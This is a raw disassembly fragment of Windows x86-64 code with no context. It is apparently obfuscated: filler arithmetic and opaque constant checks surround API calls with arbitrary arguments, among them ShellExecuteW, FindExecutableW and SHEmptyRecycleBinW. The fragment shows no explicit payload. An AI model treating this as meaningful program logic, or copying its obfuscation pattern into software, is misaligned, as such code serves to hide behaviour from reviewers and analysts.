sub eax, ecx
mov word [rsp + 0x12f0], ax
mov rdx, qword [rsp + 0xb800]
mov rax, qword [rsp + 0xbd60]
mov rcx, qword [rax]
call fcn.140213740
nop
jmp 0x1402120cf
mov rax, qword [rsp + 0xbe18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12cc]
and eax, ecx
mov rcx, qword [rsp + 0xbcf8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x194]
mov rcx, qword [rsp + 0xbbc0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x107], al
mov dword [rsp + 0x20], 0x75
lea r9, [rsp + 0xaf1c]
lea r8, [rsp + 0x54ec]
mov edx, 0x56
mov rcx, qword [rsp + 0xbda0]
call qword [sym.imp.SHELL32.dll_ExtractIconExW]
mov dword [rsp + 0x5468], eax
mov eax, dword [rsp + 0x551c]
mov dword [rsp + 0xaf20], eax
cmp dword [rsp + 0xaf20], 0x5f5d8897
je 0x14021213a
jmp 0x140212169
mov eax, dword [rsp + 0x5524]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x551c]
mov r8d, dword [rsp + 0x5520]
mov edx, dword [rsp + 0x5520]
mov ecx, dword [rsp + 0x551c]
call fcn.140213850
nop
mov rax, qword [rsp + 0xbe10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbbb8], rax
jmp 0x14021229e
mov rax, qword [rsp + 0xbe60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x196]
or eax, ecx
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x198]
xor ecx, edx
cmp eax, ecx
je 0x14021229e
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbd60]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x196]
mov byte [rsp + 0xaf24], al
cmp byte [rsp + 0xaf24], 0xa6
je 0x140212202
jmp 0x140212221
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x196]
and eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
mov rax, qword [rsp + 0xbd78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf78]
sub eax, ecx
mov word [rsp + 0x12f0], ax
mov dword [rsp + 0x28], 9
mov rax, qword [rsp + 0xbc00]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xbed0]
mov r8, qword [rsp + 0xbd98]
mov rdx, qword [rsp + 0xbc10]
mov rcx, qword [rsp + 0xbdf0]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rsp + 0xbec0], rax
mov rax, qword [rsp + 0xbd78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12f0]
sub eax, ecx
mov word [rsp + 0xf78], ax
mov rdx, qword [rsp + 0xbc58]
mov rax, qword [rsp + 0xbd60]
mov rcx, qword [rax]
call fcn.140213740
nop
jmp 0x14021238f
mov eax, dword [0x1402505d0]
mov dword [rsp + 0xaf28], eax
cmp dword [rsp + 0xaf28], 0x6b2459d8
je 0x140212373
cmp dword [rsp + 0xaf28], 0xe10a8079
je 0x1402122ec
jmp 0x14021238f
mov rax, qword [rsp + 0xbd68]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbc98]
mov qword [rsp + 0x2b828], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2b828]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402505d0], eax
lea rdx, [rsp + 0x2b8c0]
mov rcx, qword [rsp + 0x2b830]
call qword [sym.imp.USER32.dll_InvertRect]
mov dword [rsp + 0xaf2c], eax
mov rax, qword [rsp + 0xbcf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12e0]
xor eax, ecx
mov word [rsp + 0x12c8], ax
mov rax, qword [rsp + 0xbd60]
mov rdx, qword [rax]
mov rax, qword [rsp + 0xbe40]
mov rcx, qword [rax]
call fcn.140213740
nop
jmp 0x14021238f
mov eax, dword [rsp + 0x5488]
mov ecx, dword [rsp + 0x5470]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc78]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x195]
movzx ecx, byte [rsp + 0x198]
or eax, ecx
mov rcx, qword [rsp + 0xbe48]
mov byte [rcx], al
jmp 0x14021249e
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0xbd20]
movzx eax, byte [rax]
mov byte [rsp + 0xaf30], al
cmp byte [rsp + 0xaf30], 0x1f
je 0x1402123ed
jmp 0x140212446
mov dword [rsp + 0x38], 0x67
lea rax, [rsp + 0x551c]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xbfc8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xbc08]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xbd78]
mov r8d, 0xc7
mov edx, 0xa1
mov rcx, qword [rsp + 0xbbb0]
call qword [sym.imp.USER32.dll_ScrollWindowEx]
mov dword [rsp + 0x551c], eax
jmp 0x14021249e
mov rax, qword [rsp + 0xbc30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x107]
sub eax, ecx
mov rcx, qword [rsp + 0xbd40]
mov byte [rcx], al
movzx eax, word [rsp + 0x12c8]
mov rcx, qword [rsp + 0xbe18]
movzx ecx, word [rcx]
add eax, ecx
mov word [section..data], ax
movsx eax, word [rsp + 0x12d8]
movsx ecx, word [rsp + 0x12d4]
add eax, ecx
mov rcx, qword [rsp + 0xbd78]
mov word [rcx], ax
mov edx, dword [rsp + 0x5488]
mov rax, qword [rsp + 0xbd78]
movzx ecx, word [rax]
call fcn.140213c40
nop
jmp 0x140212581
mov rdx, qword [rsp + 0xbdf0]
mov rcx, qword [rsp + 0xbbc8]
call qword [sym.imp.USER32.dll_ChangeClipboardChain]
mov dword [rsp + 0xaf2c], eax
mov rax, qword [rsp + 0xbd60]
mov rcx, qword [rsp + 0xbbd8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xbc58], rax
mov rax, qword [rsp + 0xbd60]
mov rax, qword [rax]
mov qword [rsp + 0x2b838], rax
movabs rax, 0xe66fbe19069b6ec6
cmp qword [rsp + 0x2b838], rax
je 0x14021251f
jmp 0x14021255b
movzx eax, word [rsp + 0x12cc]
movzx ecx, word [rsp + 0x12c8]
add eax, ecx
mov rcx, qword [rsp + 0xbcf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbd78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12f0]
sub eax, ecx
mov word [rsp + 0x12d8], ax
jmp 0x140212581
lea r8, [rsp + 0xbd60]
mov rdx, qword [rsp + 0xbd98]
mov rcx, qword [rsp + 0xbf30]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov qword [rsp + 0xbe50], rax
mov r8, qword [rsp + 0xbc20]
mov rax, qword [rsp + 0xbdd8]
mov rdx, qword [rax]
movzx ecx, byte [rsp + 0x198]
call fcn.1402141e0
nop
jmp 0x140212689
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
movzx eax, word [rsp + 0xcf4]
movzx ecx, word [rsp + 0x12cc]
sub eax, ecx
movzx ecx, word [rsp + 0x12e0]
movzx edx, word [rsp + 0x12c8]
add ecx, edx
cmp eax, ecx
jge 0x140212611
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbcf8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcf4], ax
movzx eax, word [rsp + 0x12c8]
mov dword [rsp + 0xaf34], eax
cmp dword [rsp + 0xaf34], 0xee5
je 0x140212631
jmp 0x14021264f
mov rax, qword [rsp + 0xbd60]
mov rcx, qword [rsp + 0xbbd8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb800], rax
mov rcx, qword [rsp + 0xbbc8]
call qword [sym.imp.USER32.dll_GetParent]
mov qword [rsp + 0xbbf8], rax
mov rax, qword [rsp + 0xbd18]
mov r8, qword [rax]
mov rax, qword [rsp + 0xbd18]
mov rdx, qword [rax]
movzx ecx, byte [rsp + 0x195]
call fcn.1402141e0
nop
movsx eax, word [rsp + 0x12d4]
mov rcx, qword [rsp + 0xbd78]
movsx ecx, word [rcx]
and eax, ecx
movsx ecx, word [rsp + 0x12d8]
movsx edx, word [rsp + 0x12f0]
sub ecx, edx
cmp eax, ecx
jle 0x140212729
movzx eax, word [rsp + 0xcf4]
mov dword [rsp + 0xaf38], eax
cmp dword [rsp + 0xaf38], 0x2d
je 0x1402126dc
cmp dword [rsp + 0xaf38], 0xbf2
je 0x1402126f7
jmp 0x140212727
mov rdx, qword [rsp + 0xbdc8]
mov rax, qword [rsp + 0xbd60]
mov rcx, qword [rax]
call fcn.140213740
nop
jmp 0x140212727
mov rcx, qword [rsp + 0xbdf8]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Unlock]
mov dword [rsp + 0xaf2c], eax
mov rax, qword [rsp + 0xbc98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5448]
sub ecx, eax
mov eax, ecx
mov dword [0x1402505d0], eax
jmp 0x140212742
mov rax, qword [rsp + 0xbd60]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0xbc58]
call fcn.140213740
nop
mov rax, qword [rsp + 0xbc20]
movzx ecx, al
mov rax, qword [rsp + 0xbbb8]
sar rax, cl
mov rcx, qword [rsp + 0xbd18]
mov qword [rcx], rax
mov rdx, qword [rsp + 0xbc00]
lea rcx, [rsp + 0x5434]
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov dword [rsp + 0x5500], eax
mov rax, qword [rsp + 0xbc70]
mov qword [rsp + 0x2b840], rax
movabs rax, 0x56594625b1f4f448
cmp qword [rsp + 0x2b840], rax
je 0x1402127a6
jmp 0x1402127c7
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x195], al
jmp 0x14021280d
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x83
mov r9d, 0x59
mov r8d, 0xa2
mov edx, ILIsParent
mov ecx, ILGetNext
call fcn.140213850
nop
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbcf8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcf4], ax
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
sub eax, ecx
movzx ecx, byte [rsp + 0x195]
movzx edx, byte [rsp + 0x196]
or ecx, edx
cmp eax, ecx
jg 0x1402129b5
movzx eax, word [rsp + 0x12cc]
mov rcx, qword [rsp + 0xbcf8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xbc38]
mov word [rcx], ax
mov rax, qword [rsp + 0xbc78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5450]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5480], eax
movzx eax, byte [rsp + 0x195]
movzx ecx, byte [rsp + 0x196]
sar eax, cl
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0xbc40]
movzx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
je 0x140212963
mov rax, qword [rsp + 0xb800]
mov qword [rsp + 0x2b848], rax
movabs rax, 0x97404080cb53ce9b
cmp qword [rsp + 0x2b848], rax
je 0x140212911
jmp 0x140212943
mov edx, PathYetAnotherMakeUniqueName
lea rcx, [rsp + 0xbc40]
call qword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [rsp + 0x5530], eax
mov rdx, qword [rsp + 0xb800]
mov rcx, qword [rsp + 0xb800]
call fcn.140213740
nop
jmp 0x140212961
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbc58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb800], rax
jmp 0x1402129b5
mov rax, qword [rsp + 0xbd18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbbb8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbc70]
mov rdx, qword [rsp + 0xbc20]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x1402129b5
lea rdx, [rsp + 0xcf4]
lea rcx, [rsp + 0xbc50]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0x2b808], rax
jmp 0x1402129f2
mov eax, dword [rsp + 0x5468]
mov ecx, dword [rsp + 0x5448]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0xbc70]
movzx ecx, al
mov rax, qword [rsp + 0xbbb8]
sar rax, cl
mov qword [rsp + 0xbc20], rax
mov rdx, qword [rsp + 0xbcd0]
mov rcx, qword [rsp + 0xbcc0]
call qword [sym.imp.SHELL32.dll_DuplicateIcon]
mov qword [rsp + 0xbcd0], rax
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x195], al
movsx eax, byte [rsp + 0x107]
movsx ecx, byte [rsp + 0x194]
add eax, ecx
mov rcx, qword [rsp + 0xbc30]
mov byte [rcx], al
mov r8, qword [rsp + 0xbca0]
mov rdx, qword [rsp + 0xbda0]
mov rcx, qword [rsp + 0xbc08]
call qword [sym.imp.SHELL32.dll_FindExecutableW]
mov qword [rsp + 0x2b850], rax
jmp 0x140212b54
movzx eax, byte [rsp + 0x195]
mov byte [rsp + 0xaf3c], al
cmp byte [rsp + 0xaf3c], 0xfe
je 0x140212ab2
jmp 0x140212b35
mov rax, qword [rsp + 0xbbd8]
mov rcx, qword [rsp + 0xbc28]
mov qword [rsp + 0x2b858], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2b858]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xbc58], rax
mov rax, qword [rsp + 0xbc78]
mov ecx, dword [rsp + 0x5468]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xbc78]
mov dword [rcx], eax
movsx eax, word [rsp + 0x12d4]
xor eax, 0xcd6
mov word [rsp + 0x12d8], ax
lea rdx, [rsp + 0x12e0]
lea rcx, [rsp + 0x2b8c0]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0x2b810], rax
jmp 0x140212b54
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x195], al
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
movzx eax, word [rsp + 0x12c8]
mov rcx, qword [rsp + 0xbc38]
movzx ecx, word [rcx]
add eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0xbbb8]
mov qword [rsp + 0x2b860], rax
movabs rax, 0x63a97c15e71c2312
cmp qword [rsp + 0x2b860], rax
je 0x140212bb5
jmp 0x140212bed
lea rax, [rsp + 0xbcd0]
mov qword [rsp + 0x20], rax
mov r9d, 0x5b
lea r8, [rsp + 0xbbc8]
lea rdx, [rsp + 0xbcd0]
lea rcx, [rsp + 0x107]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x54dc], eax
mov dword [rsp + 0x28], 0x63
lea rax, [rsp + 0xbbf0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xbc50]
mov r8d, 0xe9
mov edx, 0xea
mov rcx, qword [rsp + 0xbda0]
call qword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [rsp + 0xaf1c], eax
mov rax, qword [rsp + 0xbc98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5468]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbc20]
mov rcx, qword [rsp + 0xbc70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbbb8], rax
mov r8, qword [rsp + 0xbc20]
mov rdx, qword [rsp + 0xbbb8]
mov rax, qword [rsp + 0xbc40]
movzx ecx, byte [rax]
call fcn.1402141e0
nop
jmp 0x140212d40
movzx eax, byte [rsp + 0x107]
mov byte [rsp + 0xaf40], al
cmp byte [rsp + 0xaf40], 0x28
je 0x140212caa
jmp 0x140212cc7
movzx eax, word [rsp + 0x12c8]
movzx ecx, word [rsp + 0x12e0]
or eax, ecx
mov rcx, qword [rsp + 0xbc38]
mov word [rcx], ax
movzx eax, word [rsp + 0x12e0]
mov rcx, qword [rsp + 0xbc38]
movzx ecx, word [rcx]
xor eax, ecx
mov word [section..data], ax
mov rcx, qword [rsp + 0x2b868]
call qword [sym.imp.SHELL32.dll_DragFinish]
mov rax, qword [rsp + 0xbc58]
mov rcx, qword [rsp + 0xbc28]
mov qword [rsp + 0x2b870], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2b870]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xbbd8], rax
lea rdx, [rsp + 0xbd70]
lea rcx, [rsp + 0xbc78]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0x2b808], rax
mov rax, qword [rsp + 0xbc30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbbc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x194], al
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
mov dword [rsp + 0xaf44], eax
cmp dword [rsp + 0xaf44], 0x570
je 0x140212d94
cmp dword [rsp + 0xaf44], 0x66a
je 0x140212e15
jmp 0x140212e34
lea rcx, [rsp + 0xbbc0]
call qword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [rsp + 0x54c0], eax
mov eax, dword [rsp + 0x5448]
mov dword [rsp + 0xaf48], eax
cmp dword [rsp + 0xaf48], 0x6684bfd1
je 0x140212def
cmp dword [rsp + 0xaf48], 0x72f16ac2
je 0x140212dd3
jmp 0x140212e13
movzx eax, word [rsp + 0x12e0]
movzx ecx, word [rsp + 0x12c8]
add eax, ecx
mov word [rsp + 0x12cc], ax
jmp 0x140212e13
mov dword [rsp + 0x20], 0x9d
mov r9d, 0x29
mov r8d, 0xa8
mov edx, 0xa1
mov ecx, 0x5d
call fcn.140213850
nop
jmp 0x140212e34
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
jmp 0x140212f4d
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
cmp eax, ecx
je 0x140212f4d
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c8]
or eax, ecx
mov rcx, qword [rsp + 0xbc38]
mov word [rcx], ax
lea rcx, [rsp + 0x44cb0]
call qword [sym.imp.SHELL32.dll_ILGetNext]
mov qword [rsp + 0xbfa0], rax
mov rax, qword [rsp + 0xbc28]
mov rax, qword [rax]
mov qword [rsp + 0x2b878], rax
movabs rax, 0x36a59db34e832d2a
cmp qword [rsp + 0x2b878], rax
je 0x140212ed4
movabs rax, 0x7e081545c2d16b1e
cmp qword [rsp + 0x2b878], rax
je 0x140212f2c
jmp 0x140212f4d
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbc30]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbbc0]
mov byte [rcx], al
mov edx, dword [rsp + 0x5448]
movzx ecx, word [rsp + 0x12d4]
call fcn.140213c40
nop
jmp 0x140212f4d
mov rax, qword [rsp + 0xbc28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbbd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc58], rax
mov rax, qword [rsp + 0xbc28]
mov rax, qword [rax]
mov qword [rsp + 0x2b880], rax
movabs rax, 0xb966d4acafac2bdf
cmp qword [rsp + 0x2b880], rax
je 0x140212f76
jmp 0x140212f92
mov rax, qword [rsp + 0xbc30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x194]
sar eax, cl
mov byte [rsp + 0x107], al
movsx eax, byte [rsp + 0x107]
mov rcx, qword [rsp + 0xbc30]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbbc0]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x194]
sub ecx, edx
cmp eax, ecx
jle 0x14021305c
mov r8d, 0x44
mov rdx, qword [rsp + 0xbca0]
mov rcx, qword [rsp + 0xbf30]
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov qword [rsp + 0xbcd0], rax
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x195], al
lea rdx, [rsp + 0xbc20]
lea rcx, [rsp + 0xbc08]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x5500], eax
movsx eax, byte [rsp + 0x107]
movsx ecx, byte [rsp + 0x194]
xor eax, ecx
mov rcx, qword [rsp + 0xbc30]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc28]
mov rdx, qword [rax]
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rax]
call fcn.140213740
nop
mov eax, dword [rsp + 0x5488]
mov dword [rsp + 0xaf4c], eax
cmp dword [rsp + 0xaf4c], 0x864a3087
je 0x140213086
cmp dword [rsp + 0xaf4c], 0xe9ae2f56
je 0x14021309e
jmp 0x1402130bd
mov rdx, qword [rsp + 0xb800]
mov rcx, qword [rsp + 0xbc58]
call fcn.140213740
nop
jmp 0x1402130bd
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
jmp 0x14021318a
mov rax, qword [rsp + 0xbc30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x107]
xor eax, ecx
movsx ecx, byte [rsp + 0x194]
mov rdx, qword [rsp + 0xbbc0]
movsx edx, byte [rdx]
or ecx, edx
cmp eax, ecx
jge 0x14021318a
lea r8, [rsp + 0x195]
lea rdx, [rsp + 0x2b8c0]
mov ecx, SHGetNewLinkInfoW
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x54bc], eax
movsx eax, byte [rsp + 0x107]
movsx ecx, byte [rsp + 0x194]
sar eax, cl
mov rcx, qword [rsp + 0xbc30]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12cc]
and eax, ecx
mov word [rsp + 0x12c8], ax
lea rdx, [rsp + 0xbbb8]
mov rcx, qword [rsp + 0xbd38]
call qword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [rsp + 0x5434], eax
mov r8, qword [rsp + 0xbbb8]
mov rdx, qword [rsp + 0xbc20]
movzx ecx, byte [rsp + 0x195]
call fcn.1402141e0
nop
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c8]
sub eax, ecx
mov word [rsp + 0x12cc], ax
mov rax, qword [rsp + 0xbc70]
mov qword [rsp + 0x2b888], rax
movabs rax, 0x2bc0a03e3f2abd71
cmp qword [rsp + 0x2b888], rax
je 0x1402131cd
jmp 0x140213225
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
add eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
lea rdx, [rsp + 0x5450]
lea rcx, [rsp + 0x44cb0]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x54ec], eax
mov rax, qword [rsp + 0xbc78]
mov ecx, dword [rsp + 0x5448]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5450], eax
jmp 0x140213261
movzx eax, word [rsp + 0x12e0]
movzx ecx, word [rsp + 0x12cc]
sub eax, ecx
mov rcx, qword [rsp + 0xbc38]
mov word [rcx], ax
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x195], al
jmp 0x1402132ce
mov r8d, 0x6f
lea rdx, [rsp + 0x194]
lea rcx, [rsp + 0xbc38]
call qword [sym.imp.SHELL32.dll_SHSetLocalizedName]
mov dword [rsp + 0x54bc], eax
mov eax, dword [rsp + 0x543c]
mov rcx, qword [rsp + 0xbc78]
mov qword [rsp + 0x2b890], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2b890]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xbc78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbc78]
mov edx, dword [rax]
movzx ecx, word [rsp + 0x12d4]
call fcn.140213c40
nop
mov rax, qword [rsp + 0xbc78]
mov eax, dword [rax]
mov dword [rsp + 0xaf50], eax
cmp dword [rsp + 0xaf50], 0x7be6dee4
je 0x1402132ee
jmp 0x140213334
mov r8d, 0x56
mov rdx, qword [rsp + 0xbc18]
mov rcx, qword [rsp + 0xbbb0]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
mov dword [rsp + 0x54ac], eax
mov r8, qword [rsp + 0xbbb8]
mov rdx, qword [rsp + 0xbc70]
mov rax, qword [rsp + 0xbbd0]
movzx ecx, byte [rax]
call fcn.1402141e0
nop
jmp 0x140213353
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x195], al
jmp 0x140213429
mov rax, qword [rsp + 0xbc30]
movzx eax, byte [rax]
mov byte [rsp + 0xaf54], al
cmp byte [rsp + 0xaf54], 0x79
je 0x140213379
jmp 0x14021340c
xor r8d, r8d
lea rdx, [rsp + 0xbc50]
lea rcx, [rsp + 0xbc10]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0xbd70], rax
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12cc]
sar eax, cl
mov word [section..data], ax
mov dword [rsp + 0x20], ILRemoveLastID
lea r9, [rsp + 0xbc58]
lea r8, [rsp + 0x194]
mov edx, 0x38
mov rcx, qword [rsp + 0xbc00]
call qword [sym.imp.SHELL32.dll_ExtractIconExW]
mov dword [rsp + 0x5488], eax
jmp 0x140213429
movzx eax, word [rsp + 0x12cc]
mov rcx, qword [rsp + 0xbc38]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x12c8], ax
mov rax, qword [rsp + 0xbc20]
mov qword [rsp + 0x2b898], rax
movabs rax, 0x51ee550b2ef920df
cmp qword [rsp + 0x2b898], rax
je 0x140213463
movabs rax, 0x63869e448684268f
cmp qword [rsp + 0x2b898], rax
je 0x140213484
jmp 0x1402134da
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x195], al
jmp 0x1402134da
lea rdx, [rsp + 0xbc38]
lea rcx, [rsp + 0xbc10]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0xaf1c], eax
movsx eax, byte [rsp + 0x194]
movsx ecx, byte [rsp + 0x107]
add eax, ecx
mov rcx, qword [rsp + 0xbbc0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12cc]
sub eax, ecx
mov word [rsp + 0x12c8], ax
movzx eax, word [rsp + 0x12c8]
mov dword [rsp + 0xaf58], eax
cmp dword [rsp + 0xaf58], 0x2ac
je 0x1402134fa
jmp 0x140213517
mov rax, qword [rsp + 0xbc38]
